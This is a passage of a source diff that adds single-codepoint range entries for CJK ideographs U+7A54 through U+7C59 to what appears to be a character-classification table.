+ [0x7a54, 0x7a54], /* CJK Ideograph */
+ [0x7a55, 0x7a55], /* CJK Ideograph */
+ [0x7a56, 0x7a56], /* CJK Ideograph */
+ [0x7a57, 0x7a57], /* CJK Ideograph */
+ [0x7a58, 0x7a58], /* CJK Ideograph */
+ [0x7a59, 0x7a59], /* CJK Ideograph */
+ [0x7a5a, 0x7a5a], /* CJK Ideograph */
+ [0x7a5b, 0x7a5b], /* CJK Ideograph */
+ [0x7a5c, 0x7a5c], /* CJK Ideograph */
+ [0x7a5d, 0x7a5d], /* CJK Ideograph */
+ [0x7a5e, 0x7a5e], /* CJK Ideograph */
+ [0x7a5f, 0x7a5f], /* CJK Ideograph */
+ [0x7a60, 0x7a60], /* CJK Ideograph */
+ [0x7a61, 0x7a61], /* CJK Ideograph */
+ [0x7a62, 0x7a62], /* CJK Ideograph */
+ [0x7a63, 0x7a63], /* CJK Ideograph */
+ [0x7a64, 0x7a64], /* CJK Ideograph */
+ [0x7a65, 0x7a65], /* CJK Ideograph */
+ [0x7a66, 0x7a66], /* CJK Ideograph */
+ [0x7a67, 0x7a67], /* CJK Ideograph */
+ [0x7a68, 0x7a68], /* CJK Ideograph */
+ [0x7a69, 0x7a69], /* CJK Ideograph */
+ [0x7a6a, 0x7a6a], /* CJK Ideograph */
+ [0x7a6b, 0x7a6b], /* CJK Ideograph */
+ [0x7a6c, 0x7a6c], /* CJK Ideograph */
+ [0x7a6d, 0x7a6d], /* CJK Ideograph */
+ [0x7a6e, 0x7a6e], /* CJK Ideograph */
+ [0x7a6f, 0x7a6f], /* CJK Ideograph */
+ [0x7a70, 0x7a70], /* CJK Ideograph */
+ [0x7a71, 0x7a71], /* CJK Ideograph */
+ [0x7a72, 0x7a72], /* CJK Ideograph */
+ [0x7a73, 0x7a73], /* CJK Ideograph */
+ [0x7a74, 0x7a74], /* CJK Ideograph */
+ [0x7a75, 0x7a75], /* CJK Ideograph */
+ [0x7a76, 0x7a76], /* CJK Ideograph */
+ [0x7a77, 0x7a77], /* CJK Ideograph */
+ [0x7a78, 0x7a78], /* CJK Ideograph */
+ [0x7a79, 0x7a79], /* CJK Ideograph */
+ [0x7a7a, 0x7a7a], /* CJK Ideograph */
+ [0x7a7b, 0x7a7b], /* CJK Ideograph */
+ [0x7a7c, 0x7a7c], /* CJK Ideograph */
+ [0x7a7d, 0x7a7d], /* CJK Ideograph */
+ [0x7a7e, 0x7a7e], /* CJK Ideograph */
+ [0x7a7f, 0x7a7f], /* CJK Ideograph */
+ [0x7a80, 0x7a80], /* CJK Ideograph */
+ [0x7a81, 0x7a81], /* CJK Ideograph */
+ [0x7a82, 0x7a82], /* CJK Ideograph */
+ [0x7a83, 0x7a83], /* CJK Ideograph */
+ [0x7a84, 0x7a84], /* CJK Ideograph */
+ [0x7a85, 0x7a85], /* CJK Ideograph */
+ [0x7a86, 0x7a86], /* CJK Ideograph */
+ [0x7a87, 0x7a87], /* CJK Ideograph */
+ [0x7a88, 0x7a88], /* CJK Ideograph */
+ [0x7a89, 0x7a89], /* CJK Ideograph */
+ [0x7a8a, 0x7a8a], /* CJK Ideograph */
+ [0x7a8b, 0x7a8b], /* CJK Ideograph */
+ [0x7a8c, 0x7a8c], /* CJK Ideograph */
+ [0x7a8d, 0x7a8d], /* CJK Ideograph */
+ [0x7a8e, 0x7a8e], /* CJK Ideograph */
+ [0x7a8f, 0x7a8f], /* CJK Ideograph */
+ [0x7a90, 0x7a90], /* CJK Ideograph */
+ [0x7a91, 0x7a91], /* CJK Ideograph */
+ [0x7a92, 0x7a92], /* CJK Ideograph */
+ [0x7a93, 0x7a93], /* CJK Ideograph */
+ [0x7a94, 0x7a94], /* CJK Ideograph */
+ [0x7a95, 0x7a95], /* CJK Ideograph */
+ [0x7a96, 0x7a96], /* CJK Ideograph */
+ [0x7a97, 0x7a97], /* CJK Ideograph */
+ [0x7a98, 0x7a98], /* CJK Ideograph */
+ [0x7a99, 0x7a99], /* CJK Ideograph */
+ [0x7a9a, 0x7a9a], /* CJK Ideograph */
+ [0x7a9b, 0x7a9b], /* CJK Ideograph */
+ [0x7a9c, 0x7a9c], /* CJK Ideograph */
+ [0x7a9d, 0x7a9d], /* CJK Ideograph */
+ [0x7a9e, 0x7a9e], /* CJK Ideograph */
+ [0x7a9f, 0x7a9f], /* CJK Ideograph */
+ [0x7aa0, 0x7aa0], /* CJK Ideograph */
+ [0x7aa1, 0x7aa1], /* CJK Ideograph */
+ [0x7aa2, 0x7aa2], /* CJK Ideograph */
+ [0x7aa3, 0x7aa3], /* CJK Ideograph */
+ [0x7aa4, 0x7aa4], /* CJK Ideograph */
+ [0x7aa5, 0x7aa5], /* CJK Ideograph */
+ [0x7aa6, 0x7aa6], /* CJK Ideograph */
+ [0x7aa7, 0x7aa7], /* CJK Ideograph */
+ [0x7aa8, 0x7aa8], /* CJK Ideograph */
+ [0x7aa9, 0x7aa9], /* CJK Ideograph */
+ [0x7aaa, 0x7aaa], /* CJK Ideograph */
+ [0x7aab, 0x7aab], /* CJK Ideograph */
+ [0x7aac, 0x7aac], /* CJK Ideograph */
+ [0x7aad, 0x7aad], /* CJK Ideograph */
+ [0x7aae, 0x7aae], /* CJK Ideograph */
+ [0x7aaf, 0x7aaf], /* CJK Ideograph */
+ [0x7ab0, 0x7ab0], /* CJK Ideograph */
+ [0x7ab1, 0x7ab1], /* CJK Ideograph */
+ [0x7ab2, 0x7ab2], /* CJK Ideograph */
+ [0x7ab3, 0x7ab3], /* CJK Ideograph */
+ [0x7ab4, 0x7ab4], /* CJK Ideograph */
+ [0x7ab5, 0x7ab5], /* CJK Ideograph */
+ [0x7ab6, 0x7ab6], /* CJK Ideograph */
+ [0x7ab7, 0x7ab7], /* CJK Ideograph */
+ [0x7ab8, 0x7ab8], /* CJK Ideograph */
+ [0x7ab9, 0x7ab9], /* CJK Ideograph */
+ [0x7aba, 0x7aba], /* CJK Ideograph */
+ [0x7abb, 0x7abb], /* CJK Ideograph */
+ [0x7abc, 0x7abc], /* CJK Ideograph */
+ [0x7abd, 0x7abd], /* CJK Ideograph */
+ [0x7abe, 0x7abe], /* CJK Ideograph */
+ [0x7abf, 0x7abf], /* CJK Ideograph */
+ [0x7ac0, 0x7ac0], /* CJK Ideograph */
+ [0x7ac1, 0x7ac1], /* CJK Ideograph */
+ [0x7ac2, 0x7ac2], /* CJK Ideograph */
+ [0x7ac3, 0x7ac3], /* CJK Ideograph */
+ [0x7ac4, 0x7ac4], /* CJK Ideograph */
+ [0x7ac5, 0x7ac5], /* CJK Ideograph */
+ [0x7ac6, 0x7ac6], /* CJK Ideograph */
+ [0x7ac7, 0x7ac7], /* CJK Ideograph */
+ [0x7ac8, 0x7ac8], /* CJK Ideograph */
+ [0x7ac9, 0x7ac9], /* CJK Ideograph */
+ [0x7aca, 0x7aca], /* CJK Ideograph */
+ [0x7acb, 0x7acb], /* CJK Ideograph */
+ [0x7acc, 0x7acc], /* CJK Ideograph */
+ [0x7acd, 0x7acd], /* CJK Ideograph */
+ [0x7ace, 0x7ace], /* CJK Ideograph */
+ [0x7acf, 0x7acf], /* CJK Ideograph */
+ [0x7ad0, 0x7ad0], /* CJK Ideograph */
+ [0x7ad1, 0x7ad1], /* CJK Ideograph */
+ [0x7ad2, 0x7ad2], /* CJK Ideograph */
+ [0x7ad3, 0x7ad3], /* CJK Ideograph */
+ [0x7ad4, 0x7ad4], /* CJK Ideograph */
+ [0x7ad5, 0x7ad5], /* CJK Ideograph */
+ [0x7ad6, 0x7ad6], /* CJK Ideograph */
+ [0x7ad7, 0x7ad7], /* CJK Ideograph */
+ [0x7ad8, 0x7ad8], /* CJK Ideograph */
+ [0x7ad9, 0x7ad9], /* CJK Ideograph */
+ [0x7ada, 0x7ada], /* CJK Ideograph */
+ [0x7adb, 0x7adb], /* CJK Ideograph */
+ [0x7adc, 0x7adc], /* CJK Ideograph */
+ [0x7add, 0x7add], /* CJK Ideograph */
+ [0x7ade, 0x7ade], /* CJK Ideograph */
+ [0x7adf, 0x7adf], /* CJK Ideograph */
+ [0x7ae0, 0x7ae0], /* CJK Ideograph */
+ [0x7ae1, 0x7ae1], /* CJK Ideograph */
+ [0x7ae2, 0x7ae2], /* CJK Ideograph */
+ [0x7ae3, 0x7ae3], /* CJK Ideograph */
+ [0x7ae4, 0x7ae4], /* CJK Ideograph */
+ [0x7ae5, 0x7ae5], /* CJK Ideograph */
+ [0x7ae6, 0x7ae6], /* CJK Ideograph */
+ [0x7ae7, 0x7ae7], /* CJK Ideograph */
+ [0x7ae8, 0x7ae8], /* CJK Ideograph */
+ [0x7ae9, 0x7ae9], /* CJK Ideograph */
+ [0x7aea, 0x7aea], /* CJK Ideograph */
+ [0x7aeb, 0x7aeb], /* CJK Ideograph */
+ [0x7aec, 0x7aec], /* CJK Ideograph */
+ [0x7aed, 0x7aed], /* CJK Ideograph */
+ [0x7aee, 0x7aee], /* CJK Ideograph */
+ [0x7aef, 0x7aef], /* CJK Ideograph */
+ [0x7af0, 0x7af0], /* CJK Ideograph */
+ [0x7af1, 0x7af1], /* CJK Ideograph */
+ [0x7af2, 0x7af2], /* CJK Ideograph */
+ [0x7af3, 0x7af3], /* CJK Ideograph */
+ [0x7af4, 0x7af4], /* CJK Ideograph */
+ [0x7af5, 0x7af5], /* CJK Ideograph */
+ [0x7af6, 0x7af6], /* CJK Ideograph */
+ [0x7af7, 0x7af7], /* CJK Ideograph */
+ [0x7af8, 0x7af8], /* CJK Ideograph */
+ [0x7af9, 0x7af9], /* CJK Ideograph */
+ [0x7afa, 0x7afa], /* CJK Ideograph */
+ [0x7afb, 0x7afb], /* CJK Ideograph */
+ [0x7afc, 0x7afc], /* CJK Ideograph */
+ [0x7afd, 0x7afd], /* CJK Ideograph */
+ [0x7afe, 0x7afe], /* CJK Ideograph */
+ [0x7aff, 0x7aff], /* CJK Ideograph */
+ [0x7b00, 0x7b00], /* CJK Ideograph */
+ [0x7b01, 0x7b01], /* CJK Ideograph */
+ [0x7b02, 0x7b02], /* CJK Ideograph */
+ [0x7b03, 0x7b03], /* CJK Ideograph */
+ [0x7b04, 0x7b04], /* CJK Ideograph */
+ [0x7b05, 0x7b05], /* CJK Ideograph */
+ [0x7b06, 0x7b06], /* CJK Ideograph */
+ [0x7b07, 0x7b07], /* CJK Ideograph */
+ [0x7b08, 0x7b08], /* CJK Ideograph */
+ [0x7b09, 0x7b09], /* CJK Ideograph */
+ [0x7b0a, 0x7b0a], /* CJK Ideograph */
+ [0x7b0b, 0x7b0b], /* CJK Ideograph */
+ [0x7b0c, 0x7b0c], /* CJK Ideograph */
+ [0x7b0d, 0x7b0d], /* CJK Ideograph */
+ [0x7b0e, 0x7b0e], /* CJK Ideograph */
+ [0x7b0f, 0x7b0f], /* CJK Ideograph */
+ [0x7b10, 0x7b10], /* CJK Ideograph */
+ [0x7b11, 0x7b11], /* CJK Ideograph */
+ [0x7b12, 0x7b12], /* CJK Ideograph */
+ [0x7b13, 0x7b13], /* CJK Ideograph */
+ [0x7b14, 0x7b14], /* CJK Ideograph */
+ [0x7b15, 0x7b15], /* CJK Ideograph */
+ [0x7b16, 0x7b16], /* CJK Ideograph */
+ [0x7b17, 0x7b17], /* CJK Ideograph */
+ [0x7b18, 0x7b18], /* CJK Ideograph */
+ [0x7b19, 0x7b19], /* CJK Ideograph */
+ [0x7b1a, 0x7b1a], /* CJK Ideograph */
+ [0x7b1b, 0x7b1b], /* CJK Ideograph */
+ [0x7b1c, 0x7b1c], /* CJK Ideograph */
+ [0x7b1d, 0x7b1d], /* CJK Ideograph */
+ [0x7b1e, 0x7b1e], /* CJK Ideograph */
+ [0x7b1f, 0x7b1f], /* CJK Ideograph */
+ [0x7b20, 0x7b20], /* CJK Ideograph */
+ [0x7b21, 0x7b21], /* CJK Ideograph */
+ [0x7b22, 0x7b22], /* CJK Ideograph */
+ [0x7b23, 0x7b23], /* CJK Ideograph */
+ [0x7b24, 0x7b24], /* CJK Ideograph */
+ [0x7b25, 0x7b25], /* CJK Ideograph */
+ [0x7b26, 0x7b26], /* CJK Ideograph */
+ [0x7b27, 0x7b27], /* CJK Ideograph */
+ [0x7b28, 0x7b28], /* CJK Ideograph */
+ [0x7b29, 0x7b29], /* CJK Ideograph */
+ [0x7b2a, 0x7b2a], /* CJK Ideograph */
+ [0x7b2b, 0x7b2b], /* CJK Ideograph */
+ [0x7b2c, 0x7b2c], /* CJK Ideograph */
+ [0x7b2d, 0x7b2d], /* CJK Ideograph */
+ [0x7b2e, 0x7b2e], /* CJK Ideograph */
+ [0x7b2f, 0x7b2f], /* CJK Ideograph */
+ [0x7b30, 0x7b30], /* CJK Ideograph */
+ [0x7b31, 0x7b31], /* CJK Ideograph */
+ [0x7b32, 0x7b32], /* CJK Ideograph */
+ [0x7b33, 0x7b33], /* CJK Ideograph */
+ [0x7b34, 0x7b34], /* CJK Ideograph */
+ [0x7b35, 0x7b35], /* CJK Ideograph */
+ [0x7b36, 0x7b36], /* CJK Ideograph */
+ [0x7b37, 0x7b37], /* CJK Ideograph */
+ [0x7b38, 0x7b38], /* CJK Ideograph */
+ [0x7b39, 0x7b39], /* CJK Ideograph */
+ [0x7b3a, 0x7b3a], /* CJK Ideograph */
+ [0x7b3b, 0x7b3b], /* CJK Ideograph */
+ [0x7b3c, 0x7b3c], /* CJK Ideograph */
+ [0x7b3d, 0x7b3d], /* CJK Ideograph */
+ [0x7b3e, 0x7b3e], /* CJK Ideograph */
+ [0x7b3f, 0x7b3f], /* CJK Ideograph */
+ [0x7b40, 0x7b40], /* CJK Ideograph */
+ [0x7b41, 0x7b41], /* CJK Ideograph */
+ [0x7b42, 0x7b42], /* CJK Ideograph */
+ [0x7b43, 0x7b43], /* CJK Ideograph */
+ [0x7b44, 0x7b44], /* CJK Ideograph */
+ [0x7b45, 0x7b45], /* CJK Ideograph */
+ [0x7b46, 0x7b46], /* CJK Ideograph */
+ [0x7b47, 0x7b47], /* CJK Ideograph */
+ [0x7b48, 0x7b48], /* CJK Ideograph */
+ [0x7b49, 0x7b49], /* CJK Ideograph */
+ [0x7b4a, 0x7b4a], /* CJK Ideograph */
+ [0x7b4b, 0x7b4b], /* CJK Ideograph */
+ [0x7b4c, 0x7b4c], /* CJK Ideograph */
+ [0x7b4d, 0x7b4d], /* CJK Ideograph */
+ [0x7b4e, 0x7b4e], /* CJK Ideograph */
+ [0x7b4f, 0x7b4f], /* CJK Ideograph */
+ [0x7b50, 0x7b50], /* CJK Ideograph */
+ [0x7b51, 0x7b51], /* CJK Ideograph */
+ [0x7b52, 0x7b52], /* CJK Ideograph */
+ [0x7b53, 0x7b53], /* CJK Ideograph */
+ [0x7b54, 0x7b54], /* CJK Ideograph */
+ [0x7b55, 0x7b55], /* CJK Ideograph */
+ [0x7b56, 0x7b56], /* CJK Ideograph */
+ [0x7b57, 0x7b57], /* CJK Ideograph */
+ [0x7b58, 0x7b58], /* CJK Ideograph */
+ [0x7b59, 0x7b59], /* CJK Ideograph */
+ [0x7b5a, 0x7b5a], /* CJK Ideograph */
+ [0x7b5b, 0x7b5b], /* CJK Ideograph */
+ [0x7b5c, 0x7b5c], /* CJK Ideograph */
+ [0x7b5d, 0x7b5d], /* CJK Ideograph */
+ [0x7b5e, 0x7b5e], /* CJK Ideograph */
+ [0x7b5f, 0x7b5f], /* CJK Ideograph */
+ [0x7b60, 0x7b60], /* CJK Ideograph */
+ [0x7b61, 0x7b61], /* CJK Ideograph */
+ [0x7b62, 0x7b62], /* CJK Ideograph */
+ [0x7b63, 0x7b63], /* CJK Ideograph */
+ [0x7b64, 0x7b64], /* CJK Ideograph */
+ [0x7b65, 0x7b65], /* CJK Ideograph */
+ [0x7b66, 0x7b66], /* CJK Ideograph */
+ [0x7b67, 0x7b67], /* CJK Ideograph */
+ [0x7b68, 0x7b68], /* CJK Ideograph */
+ [0x7b69, 0x7b69], /* CJK Ideograph */
+ [0x7b6a, 0x7b6a], /* CJK Ideograph */
+ [0x7b6b, 0x7b6b], /* CJK Ideograph */
+ [0x7b6c, 0x7b6c], /* CJK Ideograph */
+ [0x7b6d, 0x7b6d], /* CJK Ideograph */
+ [0x7b6e, 0x7b6e], /* CJK Ideograph */
+ [0x7b6f, 0x7b6f], /* CJK Ideograph */
+ [0x7b70, 0x7b70], /* CJK Ideograph */
+ [0x7b71, 0x7b71], /* CJK Ideograph */
+ [0x7b72, 0x7b72], /* CJK Ideograph */
+ [0x7b73, 0x7b73], /* CJK Ideograph */
+ [0x7b74, 0x7b74], /* CJK Ideograph */
+ [0x7b75, 0x7b75], /* CJK Ideograph */
+ [0x7b76, 0x7b76], /* CJK Ideograph */
+ [0x7b77, 0x7b77], /* CJK Ideograph */
+ [0x7b78, 0x7b78], /* CJK Ideograph */
+ [0x7b79, 0x7b79], /* CJK Ideograph */
+ [0x7b7a, 0x7b7a], /* CJK Ideograph */
+ [0x7b7b, 0x7b7b], /* CJK Ideograph */
+ [0x7b7c, 0x7b7c], /* CJK Ideograph */
+ [0x7b7d, 0x7b7d], /* CJK Ideograph */
+ [0x7b7e, 0x7b7e], /* CJK Ideograph */
+ [0x7b7f, 0x7b7f], /* CJK Ideograph */
+ [0x7b80, 0x7b80], /* CJK Ideograph */
+ [0x7b81, 0x7b81], /* CJK Ideograph */
+ [0x7b82, 0x7b82], /* CJK Ideograph */
+ [0x7b83, 0x7b83], /* CJK Ideograph */
+ [0x7b84, 0x7b84], /* CJK Ideograph */
+ [0x7b85, 0x7b85], /* CJK Ideograph */
+ [0x7b86, 0x7b86], /* CJK Ideograph */
+ [0x7b87, 0x7b87], /* CJK Ideograph */
+ [0x7b88, 0x7b88], /* CJK Ideograph */
+ [0x7b89, 0x7b89], /* CJK Ideograph */
+ [0x7b8a, 0x7b8a], /* CJK Ideograph */
+ [0x7b8b, 0x7b8b], /* CJK Ideograph */
+ [0x7b8c, 0x7b8c], /* CJK Ideograph */
+ [0x7b8d, 0x7b8d], /* CJK Ideograph */
+ [0x7b8e, 0x7b8e], /* CJK Ideograph */
+ [0x7b8f, 0x7b8f], /* CJK Ideograph */
+ [0x7b90, 0x7b90], /* CJK Ideograph */
+ [0x7b91, 0x7b91], /* CJK Ideograph */
+ [0x7b92, 0x7b92], /* CJK Ideograph */
+ [0x7b93, 0x7b93], /* CJK Ideograph */
+ [0x7b94, 0x7b94], /* CJK Ideograph */
+ [0x7b95, 0x7b95], /* CJK Ideograph */
+ [0x7b96, 0x7b96], /* CJK Ideograph */
+ [0x7b97, 0x7b97], /* CJK Ideograph */
+ [0x7b98, 0x7b98], /* CJK Ideograph */
+ [0x7b99, 0x7b99], /* CJK Ideograph */
+ [0x7b9a, 0x7b9a], /* CJK Ideograph */
+ [0x7b9b, 0x7b9b], /* CJK Ideograph */
+ [0x7b9c, 0x7b9c], /* CJK Ideograph */
+ [0x7b9d, 0x7b9d], /* CJK Ideograph */
+ [0x7b9e, 0x7b9e], /* CJK Ideograph */
+ [0x7b9f, 0x7b9f], /* CJK Ideograph */
+ [0x7ba0, 0x7ba0], /* CJK Ideograph */
+ [0x7ba1, 0x7ba1], /* CJK Ideograph */
+ [0x7ba2, 0x7ba2], /* CJK Ideograph */
+ [0x7ba3, 0x7ba3], /* CJK Ideograph */
+ [0x7ba4, 0x7ba4], /* CJK Ideograph */
+ [0x7ba5, 0x7ba5], /* CJK Ideograph */
+ [0x7ba6, 0x7ba6], /* CJK Ideograph */
+ [0x7ba7, 0x7ba7], /* CJK Ideograph */
+ [0x7ba8, 0x7ba8], /* CJK Ideograph */
+ [0x7ba9, 0x7ba9], /* CJK Ideograph */
+ [0x7baa, 0x7baa], /* CJK Ideograph */
+ [0x7bab, 0x7bab], /* CJK Ideograph */
+ [0x7bac, 0x7bac], /* CJK Ideograph */
+ [0x7bad, 0x7bad], /* CJK Ideograph */
+ [0x7bae, 0x7bae], /* CJK Ideograph */
+ [0x7baf, 0x7baf], /* CJK Ideograph */
+ [0x7bb0, 0x7bb0], /* CJK Ideograph */
+ [0x7bb1, 0x7bb1], /* CJK Ideograph */
+ [0x7bb2, 0x7bb2], /* CJK Ideograph */
+ [0x7bb3, 0x7bb3], /* CJK Ideograph */
+ [0x7bb4, 0x7bb4], /* CJK Ideograph */
+ [0x7bb5, 0x7bb5], /* CJK Ideograph */
+ [0x7bb6, 0x7bb6], /* CJK Ideograph */
+ [0x7bb7, 0x7bb7], /* CJK Ideograph */
+ [0x7bb8, 0x7bb8], /* CJK Ideograph */
+ [0x7bb9, 0x7bb9], /* CJK Ideograph */
+ [0x7bba, 0x7bba], /* CJK Ideograph */
+ [0x7bbb, 0x7bbb], /* CJK Ideograph */
+ [0x7bbc, 0x7bbc], /* CJK Ideograph */
+ [0x7bbd, 0x7bbd], /* CJK Ideograph */
+ [0x7bbe, 0x7bbe], /* CJK Ideograph */
+ [0x7bbf, 0x7bbf], /* CJK Ideograph */
+ [0x7bc0, 0x7bc0], /* CJK Ideograph */
+ [0x7bc1, 0x7bc1], /* CJK Ideograph */
+ [0x7bc2, 0x7bc2], /* CJK Ideograph */
+ [0x7bc3, 0x7bc3], /* CJK Ideograph */
+ [0x7bc4, 0x7bc4], /* CJK Ideograph */
+ [0x7bc5, 0x7bc5], /* CJK Ideograph */
+ [0x7bc6, 0x7bc6], /* CJK Ideograph */
+ [0x7bc7, 0x7bc7], /* CJK Ideograph */
+ [0x7bc8, 0x7bc8], /* CJK Ideograph */
+ [0x7bc9, 0x7bc9], /* CJK Ideograph */
+ [0x7bca, 0x7bca], /* CJK Ideograph */
+ [0x7bcb, 0x7bcb], /* CJK Ideograph */
+ [0x7bcc, 0x7bcc], /* CJK Ideograph */
+ [0x7bcd, 0x7bcd], /* CJK Ideograph */
+ [0x7bce, 0x7bce], /* CJK Ideograph */
+ [0x7bcf, 0x7bcf], /* CJK Ideograph */
+ [0x7bd0, 0x7bd0], /* CJK Ideograph */
+ [0x7bd1, 0x7bd1], /* CJK Ideograph */
+ [0x7bd2, 0x7bd2], /* CJK Ideograph */
+ [0x7bd3, 0x7bd3], /* CJK Ideograph */
+ [0x7bd4, 0x7bd4], /* CJK Ideograph */
+ [0x7bd5, 0x7bd5], /* CJK Ideograph */
+ [0x7bd6, 0x7bd6], /* CJK Ideograph */
+ [0x7bd7, 0x7bd7], /* CJK Ideograph */
+ [0x7bd8, 0x7bd8], /* CJK Ideograph */
+ [0x7bd9, 0x7bd9], /* CJK Ideograph */
+ [0x7bda, 0x7bda], /* CJK Ideograph */
+ [0x7bdb, 0x7bdb], /* CJK Ideograph */
+ [0x7bdc, 0x7bdc], /* CJK Ideograph */
+ [0x7bdd, 0x7bdd], /* CJK Ideograph */
+ [0x7bde, 0x7bde], /* CJK Ideograph */
+ [0x7bdf, 0x7bdf], /* CJK Ideograph */
+ [0x7be0, 0x7be0], /* CJK Ideograph */
+ [0x7be1, 0x7be1], /* CJK Ideograph */
+ [0x7be2, 0x7be2], /* CJK Ideograph */
+ [0x7be3, 0x7be3], /* CJK Ideograph */
+ [0x7be4, 0x7be4], /* CJK Ideograph */
+ [0x7be5, 0x7be5], /* CJK Ideograph */
+ [0x7be6, 0x7be6], /* CJK Ideograph */
+ [0x7be7, 0x7be7], /* CJK Ideograph */
+ [0x7be8, 0x7be8], /* CJK Ideograph */
+ [0x7be9, 0x7be9], /* CJK Ideograph */
+ [0x7bea, 0x7bea], /* CJK Ideograph */
+ [0x7beb, 0x7beb], /* CJK Ideograph */
+ [0x7bec, 0x7bec], /* CJK Ideograph */
+ [0x7bed, 0x7bed], /* CJK Ideograph */
+ [0x7bee, 0x7bee], /* CJK Ideograph */
+ [0x7bef, 0x7bef], /* CJK Ideograph */
+ [0x7bf0, 0x7bf0], /* CJK Ideograph */
+ [0x7bf1, 0x7bf1], /* CJK Ideograph */
+ [0x7bf2, 0x7bf2], /* CJK Ideograph */
+ [0x7bf3, 0x7bf3], /* CJK Ideograph */
+ [0x7bf4, 0x7bf4], /* CJK Ideograph */
+ [0x7bf5, 0x7bf5], /* CJK Ideograph */
+ [0x7bf6, 0x7bf6], /* CJK Ideograph */
+ [0x7bf7, 0x7bf7], /* CJK Ideograph */
+ [0x7bf8, 0x7bf8], /* CJK Ideograph */
+ [0x7bf9, 0x7bf9], /* CJK Ideograph */
+ [0x7bfa, 0x7bfa], /* CJK Ideograph */
+ [0x7bfb, 0x7bfb], /* CJK Ideograph */
+ [0x7bfc, 0x7bfc], /* CJK Ideograph */
+ [0x7bfd, 0x7bfd], /* CJK Ideograph */
+ [0x7bfe, 0x7bfe], /* CJK Ideograph */
+ [0x7bff, 0x7bff], /* CJK Ideograph */
+ [0x7c00, 0x7c00], /* CJK Ideograph */
+ [0x7c01, 0x7c01], /* CJK Ideograph */
+ [0x7c02, 0x7c02], /* CJK Ideograph */
+ [0x7c03, 0x7c03], /* CJK Ideograph */
+ [0x7c04, 0x7c04], /* CJK Ideograph */
+ [0x7c05, 0x7c05], /* CJK Ideograph */
+ [0x7c06, 0x7c06], /* CJK Ideograph */
+ [0x7c07, 0x7c07], /* CJK Ideograph */
+ [0x7c08, 0x7c08], /* CJK Ideograph */
+ [0x7c09, 0x7c09], /* CJK Ideograph */
+ [0x7c0a, 0x7c0a], /* CJK Ideograph */
+ [0x7c0b, 0x7c0b], /* CJK Ideograph */
+ [0x7c0c, 0x7c0c], /* CJK Ideograph */
+ [0x7c0d, 0x7c0d], /* CJK Ideograph */
+ [0x7c0e, 0x7c0e], /* CJK Ideograph */
+ [0x7c0f, 0x7c0f], /* CJK Ideograph */
+ [0x7c10, 0x7c10], /* CJK Ideograph */
+ [0x7c11, 0x7c11], /* CJK Ideograph */
+ [0x7c12, 0x7c12], /* CJK Ideograph */
+ [0x7c13, 0x7c13], /* CJK Ideograph */
+ [0x7c14, 0x7c14], /* CJK Ideograph */
+ [0x7c15, 0x7c15], /* CJK Ideograph */
+ [0x7c16, 0x7c16], /* CJK Ideograph */
+ [0x7c17, 0x7c17], /* CJK Ideograph */
+ [0x7c18, 0x7c18], /* CJK Ideograph */
+ [0x7c19, 0x7c19], /* CJK Ideograph */
+ [0x7c1a, 0x7c1a], /* CJK Ideograph */
+ [0x7c1b, 0x7c1b], /* CJK Ideograph */
+ [0x7c1c, 0x7c1c], /* CJK Ideograph */
+ [0x7c1d, 0x7c1d], /* CJK Ideograph */
+ [0x7c1e, 0x7c1e], /* CJK Ideograph */
+ [0x7c1f, 0x7c1f], /* CJK Ideograph */
+ [0x7c20, 0x7c20], /* CJK Ideograph */
+ [0x7c21, 0x7c21], /* CJK Ideograph */
+ [0x7c22, 0x7c22], /* CJK Ideograph */
+ [0x7c23, 0x7c23], /* CJK Ideograph */
+ [0x7c24, 0x7c24], /* CJK Ideograph */
+ [0x7c25, 0x7c25], /* CJK Ideograph */
+ [0x7c26, 0x7c26], /* CJK Ideograph */
+ [0x7c27, 0x7c27], /* CJK Ideograph */
+ [0x7c28, 0x7c28], /* CJK Ideograph */
+ [0x7c29, 0x7c29], /* CJK Ideograph */
+ [0x7c2a, 0x7c2a], /* CJK Ideograph */
+ [0x7c2b, 0x7c2b], /* CJK Ideograph */
+ [0x7c2c, 0x7c2c], /* CJK Ideograph */
+ [0x7c2d, 0x7c2d], /* CJK Ideograph */
+ [0x7c2e, 0x7c2e], /* CJK Ideograph */
+ [0x7c2f, 0x7c2f], /* CJK Ideograph */
+ [0x7c30, 0x7c30], /* CJK Ideograph */
+ [0x7c31, 0x7c31], /* CJK Ideograph */
+ [0x7c32, 0x7c32], /* CJK Ideograph */
+ [0x7c33, 0x7c33], /* CJK Ideograph */
+ [0x7c34, 0x7c34], /* CJK Ideograph */
+ [0x7c35, 0x7c35], /* CJK Ideograph */
+ [0x7c36, 0x7c36], /* CJK Ideograph */
+ [0x7c37, 0x7c37], /* CJK Ideograph */
+ [0x7c38, 0x7c38], /* CJK Ideograph */
+ [0x7c39, 0x7c39], /* CJK Ideograph */
+ [0x7c3a, 0x7c3a], /* CJK Ideograph */
+ [0x7c3b, 0x7c3b], /* CJK Ideograph */
+ [0x7c3c, 0x7c3c], /* CJK Ideograph */
+ [0x7c3d, 0x7c3d], /* CJK Ideograph */
+ [0x7c3e, 0x7c3e], /* CJK Ideograph */
+ [0x7c3f, 0x7c3f], /* CJK Ideograph */
+ [0x7c40, 0x7c40], /* CJK Ideograph */
+ [0x7c41, 0x7c41], /* CJK Ideograph */
+ [0x7c42, 0x7c42], /* CJK Ideograph */
+ [0x7c43, 0x7c43], /* CJK Ideograph */
+ [0x7c44, 0x7c44], /* CJK Ideograph */
+ [0x7c45, 0x7c45], /* CJK Ideograph */
+ [0x7c46, 0x7c46], /* CJK Ideograph */
+ [0x7c47, 0x7c47], /* CJK Ideograph */
+ [0x7c48, 0x7c48], /* CJK Ideograph */
+ [0x7c49, 0x7c49], /* CJK Ideograph */
+ [0x7c4a, 0x7c4a], /* CJK Ideograph */
+ [0x7c4b, 0x7c4b], /* CJK Ideograph */
+ [0x7c4c, 0x7c4c], /* CJK Ideograph */
+ [0x7c4d, 0x7c4d], /* CJK Ideograph */
+ [0x7c4e, 0x7c4e], /* CJK Ideograph */
+ [0x7c4f, 0x7c4f], /* CJK Ideograph */
+ [0x7c50, 0x7c50], /* CJK Ideograph */
+ [0x7c51, 0x7c51], /* CJK Ideograph */
+ [0x7c52, 0x7c52], /* CJK Ideograph */
+ [0x7c53, 0x7c53], /* CJK Ideograph */
+ [0x7c54, 0x7c54], /* CJK Ideograph */
+ [0x7c55, 0x7c55], /* CJK Ideograph */
+ [0x7c56, 0x7c56], /* CJK Ideograph */
+ [0x7c57, 0x7c57], /* CJK Ideograph */
+ [0x7c58, 0x7c58], /* CJK Ideograph */
+ [0x7c59, 0x7c59], /* CJK Ideograph */
